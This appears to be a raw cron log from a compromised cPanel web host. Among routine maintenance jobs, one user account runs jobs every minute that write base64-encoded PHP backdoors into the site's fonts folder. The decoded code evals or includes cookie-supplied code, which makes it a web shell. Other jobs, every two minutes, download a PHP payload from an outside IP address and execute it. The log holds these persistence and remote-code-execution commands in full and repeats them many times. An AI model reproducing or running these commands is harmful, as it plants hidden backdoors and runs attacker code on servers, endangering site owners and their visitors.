Sep 10 00:45:01 ip-184-168-122-23 CROND[6081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6088]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:45:01 ip-184-168-122-23 CROND[6089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:46:01 ip-184-168-122-23 CROND[6187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:46:01 ip-184-168-122-23 CROND[6188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:46:01 ip-184-168-122-23 CROND[6190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:46:01 ip-184-168-122-23 CROND[6193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:46:01 ip-184-168-122-23 CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:46:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:46:01 ip-184-168-122-23 CROND[6194]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 00:47:01 ip-184-168-122-23 CROND[6382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:47:01 ip-184-168-122-23 CROND[6384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:47:01 ip-184-168-122-23 CROND[6388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:47:01 ip-184-168-122-23 CROND[6387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:48:01 ip-184-168-122-23 CROND[6470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:48:01 ip-184-168-122-23 CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:48:01 ip-184-168-122-23 CROND[6468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:48:01 ip-184-168-122-23 CROND[6474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:48:01 ip-184-168-122-23 CROND[6476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:49:01 ip-184-168-122-23 CROND[6551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:49:01 ip-184-168-122-23 CROND[6553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:49:01 ip-184-168-122-23 CROND[6550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:49:01 ip-184-168-122-23 CROND[6552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:50:01 ip-184-168-122-23 CROND[6636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:50:01 ip-184-168-122-23 CROND[6639]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:50:01 ip-184-168-122-23 CROND[6643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:50:01 ip-184-168-122-23 CROND[6651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:51:01 ip-184-168-122-23 CROND[6746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:51:01 ip-184-168-122-23 CROND[6748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:51:01 ip-184-168-122-23 CROND[6749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:51:01 ip-184-168-122-23 CROND[6750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:52:01 ip-184-168-122-23 CROND[6847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:52:01 ip-184-168-122-23 CROND[6848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:52:01 ip-184-168-122-23 CROND[6850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:52:01 ip-184-168-122-23 CROND[6855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:52:01 ip-184-168-122-23 CROND[6854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:53:01 ip-184-168-122-23 CROND[7016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:53:01 ip-184-168-122-23 CROND[7018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:53:01 ip-184-168-122-23 CROND[7020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:53:01 ip-184-168-122-23 CROND[7019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:54:01 ip-184-168-122-23 CROND[7094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:54:01 ip-184-168-122-23 CROND[7098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:54:01 ip-184-168-122-23 CROND[7097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:54:01 ip-184-168-122-23 CROND[7100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:54:01 ip-184-168-122-23 CROND[7099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:55:01 ip-184-168-122-23 CROND[7182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:55:01 ip-184-168-122-23 CROND[7184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:55:01 ip-184-168-122-23 CROND[7186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:55:01 ip-184-168-122-23 CROND[7187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:55:01 ip-184-168-122-23 CROND[7188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:55:01 ip-184-168-122-23 CROND[7189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:56:01 ip-184-168-122-23 CROND[7287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:56:01 ip-184-168-122-23 CROND[7289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:56:01 ip-184-168-122-23 CROND[7291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:56:01 ip-184-168-122-23 CROND[7292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:56:01 ip-184-168-122-23 CROND[7290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:57:01 ip-184-168-122-23 CROND[7381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:57:01 ip-184-168-122-23 CROND[7379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
